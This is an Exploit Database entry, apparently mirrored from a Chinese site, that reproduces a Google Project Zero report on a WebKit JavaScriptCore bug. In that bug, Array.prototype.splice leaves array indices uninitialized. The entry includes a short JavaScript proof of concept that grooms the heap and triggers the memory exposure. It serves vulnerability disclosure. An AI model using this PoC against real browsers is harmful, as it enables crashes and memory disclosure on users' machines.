WebKit JSC – arrayProtoFuncSplice does not Initialize all Indices

• Exploit Database
• 119 阅读

• 作者： Google Security Research
  日期： 2017-06-16
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/42189/
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  <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1218&desc=2   Here&apos;s a snippet of arrayProtoFuncSplice.   EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec) { ... result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount); if (!result) return JSValue::encode(throwOutOfMemoryError(exec, scope));   for (unsigned k = 0; k < actualDeleteCount; ++k) { JSValue v = getProperty(exec, thisObj, k + actualStart); RETURN_IF_EXCEPTION(scope, encodedJSValue()); if (UNLIKELY(!v)) { continue; } result->initializeIndex(vm, k, v); } ... }   |JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you&apos;re having a bad time. We can force |result|&apos;s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.   PoC: -->   function gc() { for (let i = 0; i < 0x10; i++) new ArrayBuffer(0x1000000); }   Array.prototype.__defineGetter__(0x1000, () => 1);   gc();   for (let i = 0; i < 0x100; i++) { new Array(0x100).fill(1234.5678); }   gc();   print(new Array(0x100).splice(0));